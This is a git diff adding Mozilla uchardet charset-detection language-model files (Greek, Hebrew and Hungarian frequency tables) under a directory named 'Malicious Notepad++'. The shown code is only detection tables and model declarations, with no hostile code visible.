+0,0,1,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +0,3,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,2, +0,0,2,0,0,0,0,2,2,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,2,0,2,2,1,0,0,0,0,0,0,2,0,0,2,0,2,2,2,0,0,0,0,0,0,2,0,0,0,0,2, +0,0,2,0,0,2,0,2,2,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0, +0,0,3,0,0,0,2,2,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0, +0,2,2,2,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, +0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,2,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,2,0,0,0, +0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,2,0,2,0,0,0, +0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,1,2,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +}; + +const SequenceModel Latin7Model ( + Latin7_CharToOrderMap, + GreekLangModel, + (float)0.982851, + PR_FALSE, + "ISO-8859-7" +); + +const SequenceModel Win1253Model( + win1253_CharToOrderMap, + GreekLangModel, + (float)0.982851, + PR_FALSE, + "windows-1253" +); diff --git a/Malicious Notepad++/src/uchardet/LangHebrewModel.cpp b/Malicious Notepad++/src/uchardet/LangHebrewModel.cpp new file mode 100644 index 0000000..99a36e7 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangHebrewModel.cpp @@ -0,0 +1,217 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Simon Montagu + * Portions created by the Initial Developer are Copyright (C) 2005 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shoshannah Forbes + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" + + +/**************************************************************** +255: Control characters that usually does not exist in any text +254: Carriage/Return +253: symbol (punctuation) that does not belong to word +252: 0 - 9 + +*****************************************************************/ + +//Windows-1255 language model +//Character Mapping Table: +static const unsigned char win1255_CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85, //40 + 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253, //50 +253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49, //60 + 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253, //70 +124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214, +215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221, + 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227, +106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234, + 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237, +238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250, + 9, 8, 20, 16, 3, 2, 24, 14, 22, 1, 25, 15, 4, 11, 6, 23, + 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, +}; + +//Model Table: +//total sequences: 100% +//first 512 sequences: 98.4004% +//first 1024 sequences: 1.5981% +//rest sequences: 0.087% +//negative sequences: 0.0015% +static const PRUint8 HebrewLangModel[] = +{ +0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, +3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, +1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2, +1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3, +1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2, +1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2, +1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2, +0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2, +0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2, +1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2, +0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1, +0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0, +0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2, +0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2, +0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2, +0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2, +0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1, +0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2, +0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2, +0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2, +0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2, +0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0, +1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2, +0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3, +0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0, +0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0, +0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, +0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0, +2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0, +0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0, +0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1, +1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1, +0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1, +2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1, +1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1, +2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1, +2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0, +0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1, +0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, +}; + +const SequenceModel Win1255Model( + win1255_CharToOrderMap, + HebrewLangModel, + (float)0.984004, + PR_FALSE, + "windows-1255"); + diff --git a/Malicious Notepad++/src/uchardet/LangHungarianModel.cpp b/Malicious Notepad++/src/uchardet/LangHungarianModel.cpp new file mode 100644 index 0000000..856644a --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangHungarianModel.cpp @@ -0,0 +1,238 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" +/**************************************************************** +255: Control characters that usually does not exist in any text +254: Carriage/Return +253: symbol (punctuation) that does not belong to word +252: 0 - 9 + +*****************************************************************/ + +//Character Mapping Table: +static const unsigned char Latin2_HungarianCharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, + 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, +253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, + 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, +159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, +175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, +191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, + 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, +221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, +232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, + 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, +245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, +}; + +static const unsigned char win1250HungarianCharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, + 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, +253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, + 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, +161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, +177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, +191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, + 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, +221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, +232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, + 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, +245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, +}; + +//Model Table: +//total sequences: 100% +//first 512 sequences: 94.7368% +//first 1024 sequences:5.2623% +//rest sequences: 0.8894% +//negative sequences: 0.0009% +static const PRUint8 HungarianLangModel[] = +{ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, +3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, +3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, +3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3, +0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3, 